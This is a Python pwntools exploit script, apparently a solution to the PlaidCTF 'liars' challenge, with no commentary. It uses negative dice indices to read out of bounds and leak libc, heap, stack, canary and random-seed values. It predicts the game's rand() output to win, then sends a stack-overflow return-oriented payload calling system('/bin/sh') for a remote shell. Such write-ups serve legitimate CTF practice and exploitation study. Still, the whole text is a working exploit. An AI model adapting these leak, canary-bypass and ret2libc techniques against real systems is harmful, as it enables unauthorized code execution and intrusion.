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plaidctf - liars
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#!/usr/bin/python | |
from pwn import * | |
import sys | |
import ctypes | |
from ctypes import * | |
remote_ip, port = 'liars.pwni.ng', 2018 | |
binary = './liarmod' | |
brkpts = ''' | |
b system | |
''' | |
elf = ELF("liarmod") | |
libc = ELF("libc.so.6") | |
context.terminal = ['tmux', 'splitw', '-h'] | |
context.arch = "amd64" | |
context.log_level = "debug" | |
#context.aslr = False | |
re = lambda a: io.recv(a) | |
reu = lambda a: io.recvuntil(a) | |
rl = lambda: io.recvline() | |
s = lambda a: io.send(a) | |
sl = lambda a: io.sendline(a) | |
sla = lambda a,b: io.sendlineafter(a,b) | |
sa = lambda a,b: io.sendafter(a,b) | |
uu64 = lambda a: u64(a.ljust(8,"\x00")) | |
if len(sys.argv) > 1: | |
io = remote(remote_ip, port) | |
context.noptrace = True | |
else: | |
io = process(binary, env = {'LD_PRELOAD' : './libc.so.6'}) | |
def choice(idx): | |
sla("Leave\n", str(idx)) | |
def checkdice(idx): | |
choice(1) | |
sla("? ", str(idx)) | |
if __name__ == "__main__": | |
sla("(4-10)? ", "4") | |
checkdice(-12) | |
leak = int(rl().split()[2]) | |
checkdice(-11) | |
leak = leak + (int(rl().split()[2]) << 32) | |
libc.address = leak - 0x1ecf60 | |
log.info("libc -> "+hex(libc.address)) | |
checkdice(-204) | |
leak = int(rl().split()[2]) | |
checkdice(-203) | |
leak = leak + (int(rl().split()[2]) << 32) | |
heap = leak - 0x2a0 | |
log.info("heap -> "+hex(heap)) | |
libc_canary = libc.address + 0x1f3628 | |
env = libc.symbols['__environ'] | |
stack_offset = -((0xffffffffffffffff - (env - (heap + 0x4a0)))/4) | |
sla("horizontally\n", "1") | |
choice(1) | |
checkdice(stack_offset) | |
leak = (u32(p32(int(rl().split()[2]), signed = True)) << 32) | |
checkdice(stack_offset - 1) | |
leak = leak + (u32(p32(int(rl().split()[2]), signed = True))) | |
stack = leak | |
log.info("stack -> "+hex(stack)) | |
stack_canary = stack - 0x110 | |
canary_offset = -((0xffffffffffffffff - (stack_canary - (heap + 0x4a0)))/4) | |
checkdice(canary_offset) | |
leak = (u32(p32(int(rl().split()[2]), signed = True)) << 32) | |
checkdice(canary_offset - 1) | |
leak = leak + (u32(p32(int(rl().split()[2]), signed = True))) | |
canary = leak | |
log.info("canary -> "+hex(canary)) | |
sla("? ", "1") | |
sla("? ", "1") | |
choice(1) | |
rand_addr = stack - 0x114 - 0x8 | |
rand_offset = -((0xffffffffffffffff - (rand_addr - (heap + 0x4a0)))/4) | |
checkdice(rand_offset + 1) | |
leak = (u32(p32(int(rl().split()[2]), signed = True))) | |
seed = leak | |
log.info("rand -> " + hex(seed)) | |
libc1 = ctypes.cdll.LoadLibrary("./libc.so.6") | |
libc1.srand(seed) | |
player0 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player1 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player2 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player3 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player0 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player1 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player2 = [(libc1.rand() % 6) + 1 for i in range(5)] | |
player3 = [(libc1.rand() % 6) + 1 for i in range(4)] | |
choice(2) | |
sla("? ", "0") | |
len0 = 3 | |
len1 = 5 | |
len2 = 5 | |
len3 = 5 | |
rc = 1 | |
test = False | |
#gdb.attach(io, brkpts) | |
while len1 != 0 or len2 != 0 or len3 != 0: | |
if test == False: | |
player0 = [(libc1.rand() % 6) + 1 for i in range(len0)] | |
player1 = [(libc1.rand() % 6) + 1 for i in range(len1)] | |
player2 = [(libc1.rand() % 6) + 1 for i in range(len2)] | |
player3 = [(libc1.rand() % 6) + 1 for i in range(len3)] | |
choice(0) | |
print(player0) | |
reu("-----\n\n") | |
total = player0 + player1 + player2 + player3 | |
vals = dict() | |
for i in range(1, 7): | |
vals[i] = total.count(i) | |
if "Player 0" in re(8): | |
sla("? ", str(max(vals, key = lambda x: vals[x]))) | |
sla("? ", str(1)) | |
test = True | |
else: | |
out = [] | |
data = rl() | |
flag = False | |
flag2 = False | |
while "Player 0" not in data: | |
if "spot on" in data: | |
test = False | |
flag = True | |
break | |
elif "liar" in data: | |
test = False | |
flag2 = True | |
break | |
out.append(data) | |
data = rl() | |
if flag: | |
data = rl() | |
if "not" in data: | |
pl = int(data.split()[6]) | |
if pl == 1: | |
len1 = len1 - 1 | |
elif pl == 2: | |
len2 = len2 - 1 | |
elif pl == 3: | |
len3 = len3 - 1 | |
else: | |
pl = int(data.split()[5]) | |
if pl == 1: | |
len1 = len1 + 1 | |
elif pl == 2: | |
len2 = len2 + 1 | |
elif pl == 3: | |
len3 = len3 + 1 | |
elif flag2: | |
data = rl() | |
pl = int(data.split()[-4]) | |
if pl == 1: | |
len1 = len1 - 1 | |
elif pl == 2: | |
len2 = len2 - 1 | |
elif pl == 3: | |
len3 = len3 - 1 | |
elif pl == 0: | |
len0 = len0 - 1 | |
elif len3 > 0: | |
data = out[-2] | |
bet = (int(data.split()[1]), int(data.split()[2][0])) | |
if vals[bet[1]] < bet[0]: | |
choice(1) | |
len3 = len3 - 1 | |
test = False | |
elif vals[bet[1]] == bet[0]: | |
choice(2) | |
test = False | |
rl() | |
if "not" in rl(): | |
len0 = len0 - 1 | |
else: | |
len0 = len0 + 1 | |
else: | |
choice(0) | |
val = max(vals, key = lambda x: vals[x]) | |
if bet[0] + 1 <= vals[val] and bet[1] <= val: | |
sla("? ", str(val)) | |
sla("? ", str(bet[0] + 1)) | |
test = True | |
else: | |
sla("? ", str(6)) | |
sla("? ", str(6)) | |
test = True | |
elif len2 > 0: | |
data = out[-2] | |
bet = (int(data.split()[1]), int(data.split()[2][0])) | |
if vals[bet[1]] < bet[0]: | |
choice(1) | |
len2 = len2 - 1 | |
test = False | |
elif vals[bet[1]] == bet[0]: | |
choice(2) | |
test = False | |
rl() | |
if "not" in rl(): | |
len0 = len0 - 1 | |
else: | |
len0 = len0 + 1 | |
else: | |
choice(0) | |
val = max(vals, key = lambda x: vals[x]) | |
if bet[0] + 1 <= vals[val] and bet[1] <= val: | |
sla("? ", str(val)) | |
sla("? ", str(bet[0] + 1)) | |
test = True | |
else: | |
sla("? ", str(6)) | |
sla("? ", str(6)) | |
test = True | |
elif len1 > 0: | |
data = out[-2] | |
bet = (int(data.split()[1]), int(data.split()[2][0])) | |
if vals[bet[1]] < bet[0]: | |
choice(1) | |
len1 = len1 - 1 | |
test = False | |
elif vals[bet[1]] == bet[0]: | |
choice(2) | |
test = False | |
rl() | |
if "not" in rl(): | |
len0 = len0 - 1 | |
else: | |
len0 = len0 + 1 | |
else: | |
choice(0) | |
val = max(vals, key = lambda x: vals[x]) | |
if bet[0] + 1 <= vals[val] and bet[1] <= val: | |
sla("? ", str(val)) | |
sla("? ", str(bet[0] + 1)) | |
test = True | |
else: | |
sla("? ", str(6)) | |
sla("? ", str(6)) | |
test = True | |
system = libc.symbols['system'] | |
binsh = next(libc.search("/bin/sh")) | |
pop_rdi = libc.address + 0x26b72 | |
ret = libc.address + 0x25679 | |
payload = "a"*520 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) | |
sla("name? ", payload) | |
io.interactive() |
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